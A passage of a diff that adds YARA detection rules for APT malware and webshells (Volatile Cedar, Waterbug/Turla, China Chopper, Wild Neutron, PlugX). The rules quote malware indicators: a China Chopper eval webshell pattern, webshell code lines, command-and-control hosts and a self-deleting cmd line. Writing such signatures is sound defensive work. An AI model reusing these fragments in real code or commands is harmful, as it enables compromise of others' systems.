+		$s10 = "error.renamefile" fullword
+		$s12 = "insufficient lookahead" fullword
+		$s13 = "%s %s|" fullword
+		$s16 = ":\\autorun.exe" fullword
+	condition:
+		7 of them and  
+        uint16(0) == 0x5A4D 
+}
+
+rule Explosive_UA {
+	meta:
+		description = "Explosive Malware Embedded User Agent - Volatile Cedar APT http://goo.gl/HQRCdw"
+		author = "Florian Roth"
+		reference = "http://goo.gl/HQRCdw"
+		date = "2015/04/03"
+		score = 60
+	strings:	
+		$x1 = "Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727)" fullword
+	condition:
+		$x1 and  
+        uint16(0) == 0x5A4D 
+}
+
+rule Webshell_Caterpillar_ASPX {
+	meta:
+		description = "Volatile Cedar Webshell - from file caterpillar.aspx"
+		author = "Florian Roth"
+		reference = "http://goo.gl/emons5"
+		date = "2015/04/03"
+		super_rule = 1
+		hash0 = "af4c99208fb92dc42bc98c4f96c3536ec8f3fe56"
+	strings:
+		$s0 = "Dim objNewRequest As WebRequest = HttpWebRequest.Create(sURL)" fullword
+		$s1 = "command = \"ipconfig /all\"" fullword
+		$s3 = "For Each xfile In mydir.GetFiles()" fullword
+		$s6 = "Dim oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s10 = "recResult = adoConn.Execute(strQuery)" fullword
+		$s12 = "b = Request.QueryString(\"src\")" fullword
+		$s13 = "rw(\"<a href='\" + link + \"' target='\" + target + \"'>\" + title + \"</a>\")" fullword
+	condition:
+		all of them
+}/* WATERBUG ----------------------------------------------------------------- */
+
+rule WaterBug_wipbot_2013_core_PDF {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings:
+		$PDF = "%PDF-"
+		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/ 
+		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+	condition:
+		($PDF at 0) and #a > 150 and #b > 200
+}
+
+rule WaterBug_wipbot_2013_dll {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"		
+	strings:
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		//read file... error..
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+	condition:
+		2 of them
+}
+
+rule WaterBug_wipbot_2013_core {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"			
+	strings:
+		$mz = "MZ"
+		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04} $code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+	condition:
+		$mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule WaterBug_turla_dropper {
+	meta:
+		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings: 
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+	condition: 
+		all of them
+}
+
+rule WaterBug_fa_malware { 
+	meta: 
+		description = "Symantec Waterbug Attack - FA malware variant"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"
+	strings:
+		$mz = "MZ"
+		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku_Win32.sys\x00"
+		$string4 = "rk_ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+	condition:
+		($mz at 0) and (any of ($string*))
+}
+
+/* pe module memory leak problem
+
+
+rule WaterBug_turla_dll {
+	meta: 
+		description = "Symantec Waterbug Attack - Trojan Turla DLL"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl"	
+	strings:
+		$a = /([A-Za-z0-9]{2,10}_){,2}Win32\.dll\x00/
+	condition:
+		pe.exports("ee") and $a
+}
+
+rule WaterBug_sav_dropper {
+	meta: 
+		description = "Symantec Waterbug Attack - SAV Dropper"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl" 
+	strings:
+		$mz = "MZ"
+		$a = /[a-z]{,10}_x64.sys\x00hMZ\x00/
+	condition:
+		($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a 
+}
+
+*/ 
+
+rule WaterBug_sav {
+	meta: 
+		description = "Symantec Waterbug Attack - SAV Malware"
+		author = "Symantec Security Response"
+		date = "22.01.2015"
+		reference = "http://t.co/rF35OaAXrl" 	
+	strings:
+		$mz = "MZ"
+		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+		$code2 =  { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+	condition:
+		($mz at 0) and (($code1a or $code1b or $code1c) and $code2) 
+}
+rule ChinaChopper_Generic {
+	meta:
+		description = "China Chopper Webshells - PHP and ASPX"
+		author = "Florian Roth"
+		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
+		date = "2015/03/10"
+	strings:
+		$aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(RequestItem\[.{,100}unsafe/
+		$php = /<?php.\@eval\(\$_POST./
+	condition:
+		1 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-10
+	Identifier: WildNeutron
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WildNeutron_Sample_1 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s8 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s9 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s32 = "UPDATE_ID" fullword wide /* PEStudio Blacklist: strings */ /* score: '9.00' */
+		$s37 = "id-at-commonName" fullword ascii /* score: '8.00' */
+		$s38 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+		$s39 = "RSA-alt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.00' */
+		$s40 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule WildNeutron_Sample_2 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+	strings:
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "IgfxUpt.exe" fullword wide /* score: '20.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "Intel(R) Common User Interface" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s11 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s12 = "Intel Integrated Graphics Updater" fullword wide /* PEStudio Blacklist: strings */ /* score: '12.00' */
+		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule WildNeutron_Sample_3 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+	strings:
+		$x1 = "178.162.197.9" fullword ascii /* score: '9.00' */
+		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$x3 = ".chickenkiller.com" ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		
+		$s1 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s2 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s3 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s5 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s6 = "ECDSA with SHA256" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s7 = "Acer LiveUpdater" fullword wide /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2020KB and 
+		( 1 of ($x*) or all of ($s*) )
+}
+
+rule WildNeutron_Sample_4 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+	strings:
+		$x1 = "WinRAT-Win32-Release.exe" fullword ascii /* score: '22.00' */
+
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide /* PEStudio Blacklist: strings */ /* score: '33.00' */
+		$s1 = "RtlUpd.EXE" fullword wide /* score: '20.00' */
+		$s2 = "RtlUpd.exe" fullword wide /* score: '20.00' */
+		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s6 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s7 = "id-at-serialNumber" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1240KB and all of them
+}
+
+rule WildNeutron_Sample_5 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+	strings:
+		$s0 = "LiveUpdater.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$s1 = "id-at-postalAddress" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.00' */
+		$s2 = "%d -> %d (default)" fullword wide /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide /* score: '15.00' */
+		$s4 = "sha-1WithRSAEncryption" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s5 = "Postal code" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.00' */
+		$s6 = "id-ce-keyUsage" fullword ascii /* score: '12.00' */
+		$s7 = "Key Usage" fullword ascii /* score: '12.00' */
+		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '11.00' */
+		$s9 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule WildNeutron_Sample_6 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+	strings:
+		$s0 = "mshtaex.exe" fullword wide /* score: '20.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 310KB and all of them
+}
+
+rule WildNeutron_Sample_7 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+	strings:
+		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.00' */
+		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii /* score: '23.00' */
+		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '23.00' */
+		$s4 = "clapi32.dll" fullword ascii /* score: '21.00' */
+		$s5 = "Connection from %s port %d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '17.00' */
+		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s7 = "Version: %s - %s %s %s %s" fullword ascii /* score: '16.00' */
+		$s8 = "[-] connect()" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii /* score: '12.42' */
+		$s10 = "kexecdhs.c" fullword ascii /* score: '12.00' */
+		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii /* score: '11.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule WildNeutron_Sample_8 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+	strings:
+		$x1 = "RunFile: couldn't load SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$x2 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '35.00' */
+		$x3 = "Error executing CreateProcess()!!" fullword wide /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$x4 = "cmdcmdline" fullword wide /* score: '11.00' */
+		$x5 = "Invalid input handle!!!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+
+		$s1 = "Process %d terminated" fullword wide /* PEStudio Blacklist: strings */ /* score: '24.00' */
+		$s2 = "Process is not running any more" fullword wide /* PEStudio Blacklist: strings */ /* score: '22.00' */
+		$s3 = "javacpl.exe" fullword wide /* score: '3.00' */ /* Goodware String - occured 2 times */
+		$s4 = "Windows NT Version %lu.%lu" fullword wide /* PEStudio Blacklist: os */ /* score: '19.00' */
+		$s5 = "Usage: destination [reference]" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s6 = ".com;.exe;.bat;.cmd" fullword wide /* score: '15.00' */
+		$s7 = ") -%s-> %s (" fullword ascii /* score: '14.00' */
+		$s8 = "cmdextversion" fullword wide /* score: '14.00' */
+		$s9 = "Invalid pid (%s)" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s10 = "\"%s\" /K %s" fullword wide /* score: '11.02' */
+		$s11 = "Error setting %s (%s)" fullword wide /* score: '11.00' */
+		$s12 = "DEBUG: Cannot allocate memory for ptrNextNode->ptrNext!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$s13 = "Failed to build full directory path" fullword wide /* score: '10.00' */
+		$s14 = "DEBUG: Cannot allocate memory for ptrFileArray!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.00' */
+		$s15 = "%-8s %-3s  %*s %s  %s" fullword wide /* score: '8.00' */
+		$s16 = " %%%c in (%s) do " fullword wide /* score: '8.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1677KB and 2 of ($x*) and 6 of ($s*)
+}
+
+rule WildNeutron_Sample_9 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e"
+	strings:
+		$s0 = "http://get.adobe.com/flashplayer/" fullword wide /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s1 = "xxxxxxxxxxxxxxxxxxxx" fullword wide /* reversed goodware string 'xxxxxxxxxxxxxxxxxxxx' */ /* score: '19.00' */
+		$s4 = " Player Installer/Uninstaller" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.42' */
+		$s5 = "Adobe Flash Plugin Updater" fullword wide /* PEStudio Blacklist: strings */ /* score: '11.00' */
+		$s6 = "uSOFTWARE\\Adobe" fullword wide /* PEStudio Blacklist: strings */ /* score: '10.42' */
+		$s11 = "2008R2" fullword wide /* PEStudio Blacklist: os */ /* score: '8.00' */
+		$s12 = "%02d.%04d.%s" fullword wide /* score: '7.02' */
+		$s13 = "%d -> %d" fullword wide /* score: '7.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule WildNeutron_Sample_10 {
+	meta:
+		description = "Wild Neutron APT Sample Rule - file 1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		hash = "1d3bdabb350ba5a821849893dabe5d6056bf7ba1ed6042d93174ceeaa5d6dad7"
+	strings:
+		$n1 = "/c for /L %%i in (1,1,2) DO ping 127.0.0.1 -n 3 & type %%windir%%\\notepad.exe > %s & del /f %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '46.00' */
+		
+		$s1 = "%SYSTEMROOT%\\temp\\_dbg.tmp" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.00' */
+		$s2 = "%SYSTEMROOT%\\SysWOW64\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s3 = "%SYSTEMROOT%\\System32\\dpcore16t.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s4 = "%SYSTEMROOT%\\System32\\wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s5 = "%SYSTEMROOT%\\System32\\mspool.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.17' */
+		$s6 = "%SYSTEMROOT%\\System32\\kernel32.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.00' */
+		$s7 = "%SYSTEMROOT%\\SysWOW64\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s8 = "%SYSTEMROOT%\\System32\\msvcse.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s9 = "%SYSTEMROOT%\\System32\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s10 = "%SYSTEMROOT%\\System32\\iastor32.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		$s11 = "%SYSTEMROOT%\\SysWOW64\\mshtaex.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '31.17' */
+		
+		$x1 = "wdigestEx.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$x2 = "dpcore16t.dll" fullword ascii /* score: '21.00' */
+		$x3 = "mspool.dll" fullword ascii /* score: '21.00' */
+		$x4 = "msvcse.exe" fullword ascii /* score: '20.00' */
+		$x5 = "mshtaex.exe" fullword wide /* score: '20.00' */
+		$x6 = "iastor32.exe" fullword ascii /* score: '20.00' */
+
+		$y1 = "Installer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '25.00' */
+		$y2 = "Info: Process %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.00' */
+		$y3 = "Error: GetFileTime %s 0x%x" fullword ascii /* score: '17.00' */
+		$y4 = "Install succeeded" fullword ascii /* PEStudio Blacklist: strings */ /* score: '10.00' */
+		$y5 = "Error: RegSetValueExA 0x%x" fullword ascii /* score: '9.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 
+		(
+			$n1 or ( 1 of ($s*) and 1 of ($x*) and 3 of ($y*) ) 
+		)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule WildNeutron_javacpl {
+	meta:
+		description = "Wild Neutron APT Sample Rule - from files 683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9, 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92, 8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		date = "2015-07-10"
+		score = 60
+		super_rule = 1
+		hash1 = "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9"
+		hash2 = "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92"
+		hash3 = "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a"
+	strings:
+		$x1 = "javacpl.exe" fullword wide /* score: '3.00' */ /* Goodware String - occured 2 times */
+
+		$s0 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '35.00' */
+		$s1 = "Error executing CreateProcess()!!" fullword wide /* PEStudio Blacklist: strings */ /* score: '31.00' */
+		$s2 = "http://www.java.com/en/download/installed.jsp?detect=jre" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.00' */
+		$s3 = "RunFile: couldn't load SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s4 = "Process is not running any more" fullword wide /* PEStudio Blacklist: strings */ /* score: '22.00' */
+		$s6 = "Windows NT Version %lu.%lu" fullword wide /* PEStudio Blacklist: os */ /* score: '19.00' */
+		$s7 = "Usage: destination [reference]" fullword wide /* PEStudio Blacklist: strings */ /* score: '16.00' */
+		$s8 = "Invalid input handle!!!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '15.00' */
+		$s9 = ".com;.exe;.bat;.cmd" fullword wide /* score: '15.00' */
+		$s10 = ") -%s-> %s (" fullword ascii /* score: '14.00' */
+		$s11 = "cmdextversion" fullword wide /* score: '14.00' */
+		$s12 = "Invalid pid (%s)" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.00' */
+		$s13 = "\"%s\" /K %s" fullword wide /* score: '11.02' */
+		$s14 = "Error setting %s (%s)" fullword wide /* score: '11.00' */
+		$s16 = "cmdcmdline" fullword wide /* score: '11.00' */
+		$s39 = "2008R2" fullword ascii /* PEStudio Blacklist: os */ /* score: '8.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1677KB and all of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-08
+	Identifier: PlugX Juni 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PlugX_J16_Gen {
+	meta:
+		description = "Detects PlugX Malware samples from June 2016"
+		author = "Florian Roth"
+		reference = "VT Research"
+		date = "2016-06-08"
+	strings:
+		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
+		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
+		$x3 = "LdrLoadShellcode" fullword ascii
+		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
+
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
+		$s2 = "%s\\msiexec.exe %d %d" fullword wide
+		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
+		$s4 = "%s\\msiexec.exe UAC" fullword wide
+		$s5 = "CRYPTBASE.DLL" fullword wide
+		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
+		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
+		$s8 = "\\\\.\\pipe\\a%d" fullword wide
+		$s9 = "\\\\.\\pipe\\b%d" fullword wide
+		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
+		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
+		$s12 = "; Windows NT %d.%d" fullword wide
+		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
+		$s14 = "\\bug.log" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 4 of ($s*) ) ) or ( 8 of them )
+}
+
+rule PlugX_J16_Gen2 {
+	meta:
+		description = "Detects PlugX Malware Samples from June 2016"
+		author = "Florian Roth"
+		reference = "VT Research"
